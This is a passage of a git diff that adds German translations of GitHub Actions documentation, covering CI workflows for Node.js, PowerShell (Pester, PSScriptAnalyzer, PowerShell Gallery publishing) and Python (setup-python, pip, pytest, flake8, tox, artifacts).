+  uses: {% data reusables.actions.action-setup-node %}
+  with:
+    node-version: '12.x'
+- run: npm install
+- run: npm run build --if-present
+- run: npm test
+```
+
+## Workflow-Daten als Artefakte paketieren
+
+Du kannst Artefakte aus deinen Build- und Testschritten speichern, um sie nach dem Abschluss eines Jobs anzuzeigen. Zum Beispiel kann es notwendig sein, Logdateien, Core Dumps, Testergebnisse oder Screenshots zu speichern. Weitere Informationen findest du unter [Speichern von Workflowdaten mithilfe von Artefakten](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts).
+
+## In Paket-Registries veröffentlichen
+
+Du kannst deinen Workflow so konfigurieren, dass dein Node.js-Paket nach Bestehen deiner CI-Tests in einer Paket-Registry veröffentlicht wird. Weitere Informationen zum Veröffentlichen in npm und {% data variables.product.prodname_registry %} findest du unter [Veröffentlichen von Node.js-Paketen](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages).
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-powershell.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
new file mode 100644
index 0000000000..992cc0fa87
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
@@ -0,0 +1,247 @@
+---
+title: Erstellen und Testen eines PowerShell-Projekts
+intro: 'Du kannst einen Workflow für Continuous Integration (CI) erstellen, um dein PowerShell-Projekt zu erstellen und zu testen.'
+redirect_from:
+  - /actions/guides/building-and-testing-powershell
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+authors:
+  - potatoqualitee
+type: tutorial
+topics:
+  - CI
+  - PowerShell
+shortTitle: Build & test PowerShell
+ms.openlocfilehash: 572c2ee17c948f44a8f8e4006d3729498269a215
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146180215'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+In diesem Leitfaden wird gezeigt, wie du PowerShell für CI verwendest. Es wird beschrieben, wie du Pester verwendest und Abhängigkeiten installierst und wie du dein Modul testest und im PowerShell-Katalog veröffentlichst.
+
+{% data variables.product.prodname_dotcom %}-gehostete Runner haben einen Toolcache mit vorinstallierter Software, die PowerShell und Pester einschließt. 
+
+{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %}Eine vollständige Liste der aktuellen Software und der vorinstallierten Versionen von PowerShell und Pester findest du in den [Spezifikationen für {% data variables.product.prodname_dotcom %}-gehostete Runner](/actions/reference/specifications-for-github-hosted-runners/#supported-software).
+{% endif %}
+
+## Voraussetzungen
+
+Du solltest mit YAML und der Syntax für {% data variables.product.prodname_actions %} vertraut sein. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions).
+
+Du solltest ein grundlegendes Verständnis von PowerShell und Pester haben. Weitere Informationen finden Sie unter
+- [Getting started with PowerShell](https://docs.microsoft.com/powershell/scripting/learn/ps101/01-getting-started) (Erste Schritte mit PowerShell)
+- [Pester](https://pester.dev)
+
+{% data reusables.actions.enterprise-setup-prereq %}
+
+## Hinzufügen eines Workflows für Pester
+
+Um deine Tests mit PowerShell und Pester zu automatisieren, kannst du einen Workflow hinzufügen, der jedes Mal ausgeführt wird, wenn eine Änderung an dein Repository gepusht wird. Im folgenden Beispiel wird `Test-Path` verwendet, um zu überprüfen, ob eine Datei namens `resultsfile.log` vorhanden ist.
+
+Diese Datei mit dem Beispielworkflow muss im Verzeichnis `.github/workflows/` deines Repositorys hinzugefügt werden:
+
+```yaml
+name: Test PowerShell on Ubuntu
+on: push
+
+jobs:
+  pester-test:
+    name: Pester test
+    runs-on: ubuntu-latest
+    steps:
+      - name: Check out repository code
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Perform a Pester test from the command-line
+        shell: pwsh
+        run: Test-Path resultsfile.log | Should -Be $true
+      - name: Perform a Pester test from the Tests.ps1 file
+        shell: pwsh
+        run: |
+          Invoke-Pester Unit.Tests.ps1 -Passthru
+```
+
+* `shell: pwsh` konfiguriert den Auftrag für die Verwendung von PowerShell beim Ausführen der `run`-Befehle.
+* `run: Test-Path resultsfile.log` überprüft, ob eine Datei namens `resultsfile.log` im Stammverzeichnis des Repositorys vorhanden ist.
+* `Should -Be $true` verwendet Pester, um ein erwartetes Ergebnis zu definieren. Wenn das Ergebnis unerwartet ist, markiert {% data variables.product.prodname_actions %} dies als fehlerhaften Test. Beispiel:
+
+  
+  ![Fehlerhafter Pester-Test](/assets/images/help/repository/actions-failed-pester-test-updated.png)
+  
+
+* `Invoke-Pester Unit.Tests.ps1 -Passthru` verwendet Pester zum Ausführen von Tests, die in einer Datei mit dem Namen `Unit.Tests.ps1` definiert sind. Wenn du beispielsweise den oben beschriebenen Test ausführen möchtest, enthält `Unit.Tests.ps1` Folgendes:
+  ```
+  Describe "Check results file is present" {
+      It "Check results file is present" {
+          Test-Path resultsfile.log | Should -Be $true
+      }
+  }
+  ```
+
+## Speicherorte der PowerShell-Module
+
+Die folgende Tabelle zeigt für jeden {% data variables.product.prodname_dotcom %}-gehosteten Runner den Speicherort der einzelnen PowerShell-Module.
+
+|| Ubuntu | macOS | Windows |
+|------|-------|------|----------|
+|**PowerShell-Systemmodule** |`/opt/microsoft/powershell/7/Modules/*`|`/usr/local/microsoft/powershell/7/Modules/*`|`C:\program files\powershell\7\Modules\*`|
+|**PowerShell-Add-On-Module**|`/usr/local/share/powershell/Modules/*`|`/usr/local/share/powershell/Modules/*`|`C:\Modules\*`|
+|**Von Benutzer*innen installierte Module**|`/home/runner/.local/share/powershell/Modules/*`|`/Users/runner/.local/share/powershell/Modules/*`|`C:\Users\runneradmin\Documents\PowerShell\Modules\*`|
+
+## Installieren von Abhängigkeiten
+
+Auf {% data variables.product.prodname_dotcom %}-gehosteten Runnern sind PowerShell 7 und Pester installiert. Du kannst mit `Install-Module` zusätzliche Abhängigkeiten aus dem PowerShell-Katalog installieren, bevor du deinen Code erstellst und testest.
+
+{% note %}
+
+**Hinweis:** Die vorinstallierten Pakete (z. B. Pester), die von {% data variables.product.prodname_dotcom %}-gehosteten Runnern verwendet werden, werden regelmäßig aktualisiert und können Breaking Changes einführen. Daher wird empfohlen, bei Verwendung von `Install-Module` immer die erforderlichen Paketversionen mit `-MaximumVersion` anzugeben.
+
+{% endnote %}
+
+{% ifversion actions-caching %}Du kannst Abhängigkeiten auch im Cache zwischenspeichern, um deinen Workflow zu beschleunigen. Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).{% endif %}
+
+Der folgende Auftrag installiert z. B. die Module `SqlServer` und `PSScriptAnalyzer`:
+
+```yaml
+jobs:
+  install-dependencies:
+    name: Install dependencies
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Install from PSGallery
+        shell: pwsh
+        run: |
+          Set-PSRepository PSGallery -InstallationPolicy Trusted
+          Install-Module SqlServer, PSScriptAnalyzer
+```
+
+{% note %}
+
+**Hinweis:** Standardmäßig sind keine Repositorys für PowerShell vertrauenswürdig. Beim Installieren von Modulen aus dem PowerShell-Katalog musst du die Installationsrichtlinie für `PSGallery` explizit auf `Trusted` festlegen.
+
+{% endnote %}
+
+{% ifversion actions-caching %}
+
+### Abhängigkeiten „cachen“ (zwischenspeichern)
+
+Du kannst PowerShell-Abhängigkeiten mithilfe eines eindeutigen Schlüssels zwischenspeichern, mit dem du die Abhängigkeiten für zukünftige Workflows mit der [`cache`](https://github.com/marketplace/actions/cache)-Aktion wiederherstellen kannst. Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).
+
+PowerShell speichert Abhängigkeiten je nach dem Betriebssystem des Runners an anderen Speicherorten zwischen. Beispielsweise weicht der Speicherort (`path`) im folgenden Ubuntu-Beispiel bei einem Windows Betriebssystem ab.
+
+```yaml
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - name: Setup PowerShell module cache
+    id: cacher
+    uses: {% data reusables.actions.action-cache %}
+    with:
+      path: "~/.local/share/powershell/Modules"
+      key: {% raw %}${{ runner.os }}-SqlServer-PSScriptAnalyzer{% endraw %}
+  - name: Install required PowerShell modules
+    if: steps.cacher.outputs.cache-hit != 'true'
+    shell: pwsh
+    run: |
+      Set-PSRepository PSGallery -InstallationPolicy Trusted
+      Install-Module SqlServer, PSScriptAnalyzer -ErrorAction Stop
+```
+
+{% endif %}
+
+## Testen von Code
+
+Du kannst die gleichen Befehle verwenden, die du auch lokal verwendest, um deinen Code zu bauen und zu testen.
+
+### Linten von Code mit PSScriptAnalyzer
+
+Im folgenden Beispiel wird `PSScriptAnalyzer` installiert und zum Linten aller `ps1`-Dateien im Repository verwendet. Weitere Informationen findest du unter [PSScriptAnalyzer](https://github.com/PowerShell/PSScriptAnalyzer) auf GitHub.
+
+```yaml
+  lint-with-PSScriptAnalyzer:
+    name: Install and run PSScriptAnalyzer
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Install PSScriptAnalyzer module
+        shell: pwsh
+        run: |
+          Set-PSRepository PSGallery -InstallationPolicy Trusted
+          Install-Module PSScriptAnalyzer -ErrorAction Stop
+      - name: Lint with PSScriptAnalyzer
+        shell: pwsh
+        run: |
+          Invoke-ScriptAnalyzer -Path *.ps1 -Recurse -Outvariable issues
+          $errors   = $issues.Where({$_.Severity -eq 'Error'})
+          $warnings = $issues.Where({$_.Severity -eq 'Warning'})
+          if ($errors) {
+              Write-Error "There were $($errors.Count) errors and $($warnings.Count) warnings total." -ErrorAction Stop
+          } else {
+              Write-Output "There were $($errors.Count) errors and $($warnings.Count) warnings total."
+          }
+```
+
+## Workflow-Daten als Artefakte paketieren
+
+Du kannst Artefakte hochladen, um sie nach Abschluss eines Workflows anzuzeigen. Zum Beispiel kann es notwendig sein, Logdateien, Core Dumps, Testergebnisse oder Screenshots zu speichern. Weitere Informationen findest du unter [Speichern von Workflowdaten mithilfe von Artefakten](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts).
+
+Im folgenden Beispiel wird gezeigt, wie die Aktion `upload-artifact` zum Archivieren von Testergebnissen von `Invoke-Pester` verwendet werden kann. Weitere Informationen findest du im Artikel über die [Aktion `upload-artifact`](https://github.com/actions/upload-artifact).
+
+```yaml
+name: Upload artifact from Ubuntu
+
+on: [push]
+
+jobs:
+  upload-pester-results:
+    name: Run Pester and upload results
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Test with Pester
+        shell: pwsh
+        run: Invoke-Pester Unit.Tests.ps1 -Passthru | Export-CliXml -Path Unit.Tests.xml
+      - name: Upload test results
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: ubuntu-Unit-Tests
+          path: Unit.Tests.xml
+    if: {% raw %}${{ always() }}{% endraw %}
+```
+
+Die `always()`-Funktion konfiguriert den Auftrag, um die Verarbeitung auch dann fortzusetzen, wenn Testfehler auftreten. Weitere Informationen findest du unter [always](/actions/reference/context-and-expression-syntax-for-github-actions#always).
+
+## Veröffentlichen im PowerShell-Katalog
+
+Du kannst deinen Workflow so konfigurieren, dass dein PowerShell-Modul bei Bestehen deiner CI-Tests im PowerShell-Katalog veröffentlicht wird. Du kannst Geheimnisse verwenden, um Token oder Anmeldeinformationen zu speichern, die zum Veröffentlichen deines Pakets erforderlich sind. Weitere Informationen findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+Im folgenden Beispiel wird ein Paket erstellt und mit `Publish-Module` im PowerShell-Katalog veröffentlicht:
+
+```yaml
+name: Publish PowerShell Module
+
+on:
+  release:
+    types: [created]
+
+jobs:
+  publish-to-gallery:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Build and publish
+        env:
+          NUGET_KEY: {% raw %}${{ secrets.NUGET_KEY }}{% endraw %}
+        shell: pwsh
+        run: |
+          ./build.ps1 -Path /tmp/samplemodule
+          Publish-Module -Path /tmp/samplemodule -NuGetApiKey $env:NUGET_KEY -Verbose
+```
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-python.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-python.md
new file mode 100644
index 0000000000..6688dda05d
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-python.md
@@ -0,0 +1,415 @@
+---
+title: Erstellen und Testen eines Python-Projekts
+intro: 'Du kannst einen Continuous Integration-Workflow (CI) erstellen, um dein Python-Projekt zu erstellen und zu testen.'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/using-python-with-github-actions
+  - /actions/language-and-framework-guides/using-python-with-github-actions
+  - /actions/guides/building-and-testing-python
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CI
+  - Python
+shortTitle: Build & test Python
+ms.openlocfilehash: a55aa73ce26f4482411366b0edb66d9b1a305966
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147409467'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Diese Anleitung zeigt Dir, wie du ein Python-Paket baust, testest und veröffentlichst.
+
+Von {% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %} gehostete Runner verfügen über einen Toolcache mit vorinstallierter Software, in dem Python und PyPy enthalten sind. Du brauchst nichts zu installieren! Eine umfassende Liste mit aktueller Software und den vorinstallierten Versionen von Python und PyPy findest du unter [Spezifikationen für von {% data variables.product.prodname_dotcom %} gehostete Runner](/actions/reference/specifications-for-github-hosted-runners/#supported-software).
+{% endif %}
+
+## Voraussetzungen
+
+Du solltest mit YAML und der Syntax für {% data variables.product.prodname_actions %} vertraut sein. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions).
+
+Du solltest ein grundlegendes Verständnis von Python, PyPy und pip haben. Weitere Informationen finden Sie unter
+- [Erste Schritte mit Python](https://www.python.org/about/gettingstarted/)
+- [PyPy](https://pypy.org/)
+- [Pip-Paket-Manager](https://pypi.org/project/pip/)
+
+{% data reusables.actions.enterprise-setup-prereq %}
+
+## Verwenden des Python-Starterworkflows
+
+{% data variables.product.prodname_dotcom %} enthält einen Python-Starterworkflow, der die für die meisten Python-Projekte funktionieren sollte. Dieser Leitfaden enthält Beispiele, die du zum Anpassen des Starterworkflows verwenden kannst. Weitere Informationen findest du unter [Python-Starterworkflow](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml).
+
+Für einen schnellen Einstieg fügst du den Starterworkflow zum Verzeichnis `.github/workflows` deines Repositorys hinzu.
+
+```yaml{:copy}
+name: Python package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python-version: ["3.7", "3.8", "3.9", "3.10"]
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Python {% raw %}${{ matrix.python-version }}{% endraw %}
+        uses: {% data reusables.actions.action-setup-python %}
+        with:
+          python-version: {% raw %}${{ matrix.python-version }}{% endraw %}
+      - name: Install dependencies
+        run: |
+          python -m pip install --upgrade pip
+          pip install flake8 pytest
+          if [ -f requirements.txt ]; then pip install -r requirements.txt; fi
+      - name: Lint with flake8
+        run: |
+          # stop the build if there are Python syntax errors or undefined names
+          flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
+          # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
+          flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
+      - name: Test with pytest
+        run: |
+          pytest
+```
+
+## Eine Python-Version angeben
+
+Verwende die Aktion `setup-python`, um eine vorinstallierte Version von Python oder PyPy für einen von {% data variables.product.prodname_dotcom %} gehosteten Runner zu verwenden. Mit dieser Aktion wird im Toolcache der jeweiligen Runner nach einer bestimmten Version von Python oder PyPy gesucht, und die erforderlichen Binärdateien werden zu `PATH` hinzugefügt, das für den Rest des Auftrags bestehen bleibt. Wenn eine bestimmte Version von Python im Toolcache nicht vorinstalliert ist, wird die entsprechende Version mit der Aktion `setup-python` aus dem Repository [`python-versions`](https://github.com/actions/python-versions) heruntergeladen und eingerichtet.
+
+Die Aktion `setup-python` wird als Methode zur Verwendung von Python mit {% data variables.product.prodname_actions %} empfohlen, da damit ein konsistentes Verhalten bei verschiedenen Runnern und verschiedenen Version von Python gewährleistet wird. Wenn du einen selbst gehosteten Runner verwendest, musst du Python installieren und zu `PATH` hinzufügen. Weitere Informationen findest du im Artikel über die [Aktion `setup-python`](https://github.com/marketplace/actions/setup-python).
+
+Die folgende Tabelle zeigt für jeden {% data variables.product.prodname_dotcom %}-gehosteten Runner, wo der Tools-Cache liegt.
+
+|| Ubuntu | Mac | Windows |
+|------|-------|------|----------|
+|**Tool Cache Directory** |`/opt/hostedtoolcache/*`|`/Users/runner/hostedtoolcache/*`|`C:\hostedtoolcache\windows\*`|
+|**Python Tool Cache**|`/opt/hostedtoolcache/Python/*`|`/Users/runner/hostedtoolcache/Python/*`|`C:\hostedtoolcache\windows\Python\*`|
+|**PyPy Tool Cache**|`/opt/hostedtoolcache/PyPy/*`|`/Users/runner/hostedtoolcache/PyPy/*`|`C:\hostedtoolcache\windows\PyPy\*`|
+
+Wenn du einen selbst gehosteten Runner verwendest, kannst du ihn so konfigurieren, dass die Aktion `setup-python` zum Verwalten von Abhängigkeiten verwendet wird. Weitere Informationen findest du unter [Verwenden von „setup-python“ mit einem selbst gehosteten Runner](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner) in der Infodatei zu `setup-python`.
+
+{% data variables.product.prodname_dotcom %} unterstützt dir Syntax für semantische Versionierung. Weitere Informationen findest du unter [Using semantic versioning (Verwenden der semantischen Versionsverwaltung)](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept) und unter [Semantic versioning specification (Spezifikation zur semantischen Versionsverwaltung)](https://semver.org/).
+
+### Mehrere Python-Versionen verwenden
+
+```yaml{:copy}
+name: Python package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    strategy:
+      # You can use PyPy versions in python-version.
+      # For example, {% ifversion actions-node16-action %}pypy-2.7 and pypy-3.8{% else %}pypy2 and pypy3{% endif %}
+      matrix:
+        python-version: ["2.7", "3.7", "3.8", "3.9", "3.10"]
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Python {% raw %}${{ matrix.python-version }}{% endraw %}
+        uses: {% data reusables.actions.action-setup-python %}
+        with:
+          python-version: {% raw %}${{ matrix.python-version }}{% endraw %}
+      # You can test your matrix by printing the current Python version
+      - name: Display Python version
+        run: python -c "import sys; print(sys.version)"
+```
+
+### Eine bestimmten Python-Version verwenden
+
+Du kannst eine bestimmte Version von Python konfigurieren, Beispiel: 3.9. Alternativ kannst du auch Syntax für semantische Versionierung verwenden, um die neuste Nebenversion abzurufen. Dieses Beispiel verwendet das neueste Minor Release von Python 3.
+
+```yaml{:copy}
+name: Python package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Python 3.x
+        uses: {% data reusables.actions.action-setup-python %}
+        with:
+          # Semantic version range syntax or exact version of a Python version
+          python-version: '3.x'
+          # Optional - x64 or x86 architecture, defaults to x64
+          architecture: 'x64'
+      # You can test your matrix by printing the current Python version
+      - name: Display Python version
+        run: python -c "import sys; print(sys.version)"
+```
+
+### Eine Version ausschließen
+
+Wenn du eine nicht verfügbare Python-Version angibst, schlägt `setup-python` mit einer Fehlermeldung wie der folgenden fehl: `##[error]Version 3.4 with arch x64 not found`. Die Fehlermeldung enthält die verfügbaren Versionen.
+
+Du kannst im Workflow auch das Schlüsselwort `exclude` verwenden, wenn es eine Konfiguration von Python gibt, die du nicht verwenden möchtest. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy).
+
+```yaml{:copy}
+name: Python package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: {% raw %}${{ matrix.os }}{% endraw %}
+    strategy:
+      matrix:
+        os: [ubuntu-latest, macos-latest, windows-latest]
+        python-version: ["3.7", "3.8", "3.9", "3.10", {% ifversion actions-node16-action %}pypy-2.7, pypy-3.8{% else %}pypy2, pypy3{% endif %}]
+        exclude:
+          - os: macos-latest
+            python-version: "3.7"
+          - os: windows-latest
+            python-version: "3.7"
+```
+
+### Die Standard-Version von Python verwenden
+
+Es wird empfohlen, `setup-python` zu verwenden, um die in den eigenen Workflows verwendete Version von Python zu konfigurieren, da du so Abhängigkeiten explizit machen kannst. Wenn du `setup-python` nicht verwendest, wird die in `PATH` festgelegte Standardversion von Python in allen Shells beim Aufrufen von `python` verwendet. Die Standardversion von Python variiert zwischen den {% data variables.product.prodname_dotcom %}-gehosteten Runnern. Dies kann zu unerwarteten Abweichungen führen oder es kann unerwartet eine ältere Version verwendet werden.
+
+| {% data variables.product.prodname_dotcom %}-gehostete Runner | BESCHREIBUNG |
+|----|----|
+| Ubuntu | Auf Ubuntu-Runnern sind unter `/usr/bin/python` und `/usr/bin/python3` mehrere Systemversionen von Python installiert. Die Python-Versionen, die mit Ubuntu mitgeliefert werden, sind zusätzlich zu den Versionen, die {% data variables.product.prodname_dotcom %} im Tools-Cache installiert. |
+| Windows | Neben den Python-Versionen, die sich im Tools-Cache befinden, kommt Windows nicht mit einer entsprechenden Version von System-Python. Zur Gewährleistung eines konsistenten Verhaltens bei anderen Runnern und um die Verwendung von Python ohne Änderungen und ohne die Aktion `setup-python` zu ermöglichen, werden mit {% data variables.product.prodname_dotcom %} einige Versionen aus `PATH` zum Toolcache hinzugefügt.|
+| macOS | Auf macOS-Runnern sind zusätzlich zu den Versionen im Tool-Cache noch mehrere Versionen von System-Python installiert. Die Systemversionen von Python befinden sich im Verzeichnis `/usr/local/Cellar/python/*`. |
+
+## Installieren von Abhängigkeiten
+
+Auf {% data variables.product.prodname_dotcom %}-gehosteten Runnern ist der Paketmanager pip installiert. Du kannst pip verwenden, um Abhängigkeiten von der PyPI-Paket-Registry zu installieren, bevor du deinen Code baust und testest. Mit dem folgenden YAML-Code werden beispielsweise das `pip`-Paketinstallationsprogramm und die Pakete `setuptools` und `wheel` installiert oder aktualisiert.
+
+{% ifversion actions-caching %}Du kannst Abhängigkeiten auch im Cache zwischenspeichern, um deinen Workflow zu beschleunigen. Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).{% endif %}
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Set up Python
+  uses: {% data reusables.actions.action-setup-python %}
+  with:
+    python-version: '3.x'
+- name: Install dependencies
+  run: python -m pip install --upgrade pip setuptools wheel
+```
+
+### Datei für „Requirements“ (Anforderungen)
+
+Nach dem Aktualisieren von `pip` werden in der Regel als Nächstes Abhängigkeiten aus der Datei *requirements.txt* installiert. Weitere Informationen findest du unter [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file).
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Set up Python
+  uses: {% data reusables.actions.action-setup-python %}
+  with:
+    python-version: '3.x'
+- name: Install dependencies
+  run: |
+    python -m pip install --upgrade pip
+    pip install -r requirements.txt
+```
+
+{% ifversion actions-caching %}
+
+### Abhängigkeiten im Cache zwischenspeichern
+
+Du kannst die Abhängigkeiten mithilfe der [Aktion `setup-python`](https://github.com/actions/setup-python) zwischenspeichern und wiederherstellen.
+
+Im folgenden Beispiel werden Abhängigkeiten für pip zwischengespeichert.
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- uses: {% data reusables.actions.action-setup-python %}
+  with:
+    python-version: '3.10'
+    cache: 'pip'
+- run: pip install -r requirements.txt
+- run: pip test
+```
+
+Standardmäßig sucht die Aktion `setup-python` im gesamten Repository nach der Abhängigkeitsdatei (`requirements.txt` für pip, `Pipfile.lock` für pipenv oder `poetry.lock` für poetry). Weitere Informationen findest du unter [Zwischenspeichern von Paketabhängigkeiten](https://github.com/actions/setup-python#caching-packages-dependencies) in der Infodatei zu `setup-python`.
+
+Wenn du eine benutzerdefinierte Anforderung verwendest oder genauere Steuerungsmöglichkeiten zum Zwischenspeichern benötigst, kannst du die [Aktion `cache`](https://github.com/marketplace/actions/cache) verwendest. Mit pip werden Abhängigkeiten je nach dem Betriebssystem des Runners an anderen Speicherorten zwischengespeichert. Der Pfad, den du zwischenspeichern musst, unterscheidet sich möglicherweise vom obigen Ubuntu-Beispiel, je nachdem, welches Betriebssystem du verwendest. Weitere Informationen findest du unter [Beispiele zum Zwischenspeichern bei Python](https://github.com/actions/cache/blob/main/examples.md#python---pip) im Repository der Aktion `cache`.
+
+{% endif %}
+
+## Testen von Code
+
+Du kannst die gleichen Befehle verwenden, die du auch lokal verwendest, um deinen Code zu bauen und zu testen.
+
+### Mit pytest und pytest-cov testen
+
+In diesem Beispiel werden `pytest` und `pytest-cov` installiert und aktualisiert. Tests werden dann im JUnit-Format ausgeführt und ausgegeben, während die Code Coverage-Ergebnisse in Cobertura ausgegeben werden. Weitere Informationen findest du unter [JUnit](https://junit.org/junit5/) und [Cobertura](https://cobertura.github.io/cobertura/).
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Set up Python
+  uses: {% data reusables.actions.action-setup-python %}
+  with:
+    python-version: '3.x'
+- name: Install dependencies
+  run: |
+    python -m pip install --upgrade pip
+    pip install -r requirements.txt
+- name: Test with pytest
+  run: |
+    pip install pytest
+    pip install pytest-cov
+    pytest tests.py --doctest-modules --junitxml=junit/test-results.xml --cov=com --cov-report=xml --cov-report=html
+```
+
+### Mit Flake8 den Code von „Fusseln“ reinigen
+
+Im folgenden Beispiel wird `flake8` installiert oder aktualisiert und zum Linten aller Dateien verwendet. Weitere Informationen findest du unter [Flake8](http://flake8.pycqa.org/en/latest/).
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Set up Python
+  uses: {% data reusables.actions.action-setup-python %}
+  with:
+    python-version: '3.x'
+- name: Install dependencies
+  run: |
+    python -m pip install --upgrade pip
+    pip install -r requirements.txt
+- name: Lint with flake8
+  run: |
+    pip install flake8
+    flake8 .
+  continue-on-error: true
+```
+
+Beim Lintingschritt wurde `continue-on-error: true` festgelegt. Dadurch wird verhindert, dass der Workflow fehlschlägt, wenn der Lintingschritt nicht erfolgreich ist. Nachdem du alle Lintingfehler behoben hast, kannst du diese Option entfernen, sodass beim Workflow neue Issues erfasst werden können.
+
+### Tests mit Tox ausführen
+
+Mit {% data variables.product.prodname_actions %} kannst du Texts mit tox ausführen und die Arbeit auf mehrere Aufträge verteilen. Du musst tox mit der Option `-e py` aufrufen, um die Version von Python im eigenen `PATH` auszuwählen, statt eine bestimmte Version anzugeben. Weitere Informationen findest du unter [tox](https://tox.readthedocs.io/en/latest/).
+
+```yaml{:copy}
+name: Python package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python: ["3.8", "3.9", "3.10"]
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Setup Python
+        uses: {% data reusables.actions.action-setup-python %}
+        with:
+          python-version: {% raw %}${{ matrix.python }}{% endraw %}
+      - name: Install tox and any other packages
+        run: pip install tox
+      - name: Run tox
+        # Run tox using the version of Python in `PATH`
+        run: tox -e py
+```
+
+## Workflow-Daten als Artefakte paketieren
+
+Du kannst Artefakte hochladen, um sie nach Abschluss eines Workflows anzuzeigen. Zum Beispiel kann es notwendig sein, Logdateien, Core Dumps, Testergebnisse oder Screenshots zu speichern. Weitere Informationen findest du unter [Speichern von Workflowdaten mithilfe von Artefakten](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts).
+
+Im folgenden Beispiel wird gezeigt, wie die Aktion `upload-artifact` zum Archivieren von Testergebnissen aus der Ausführung von `pytest` verwendet werden kann. Weitere Informationen findest du im Artikel über die [Aktion `upload-artifact`](https://github.com/actions/upload-artifact).
+
+```yaml{:copy}
+name: Python package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python-version: ["3.7", "3.8", "3.9", "3.10"]
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Setup Python # Set Python version
+        uses: {% data reusables.actions.action-setup-python %}
+        with:
+          python-version: {% raw %}${{ matrix.python-version }}{% endraw %}
+      # Install pip and pytest
+      - name: Install dependencies
+        run: |
+          python -m pip install --upgrade pip
+          pip install pytest
+      - name: Test with pytest
+        run: pytest tests.py --doctest-modules {% raw %}--junitxml=junit/test-results-${{ matrix.python-version }}.xml{% endraw %}
+      - name: Upload pytest test results
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
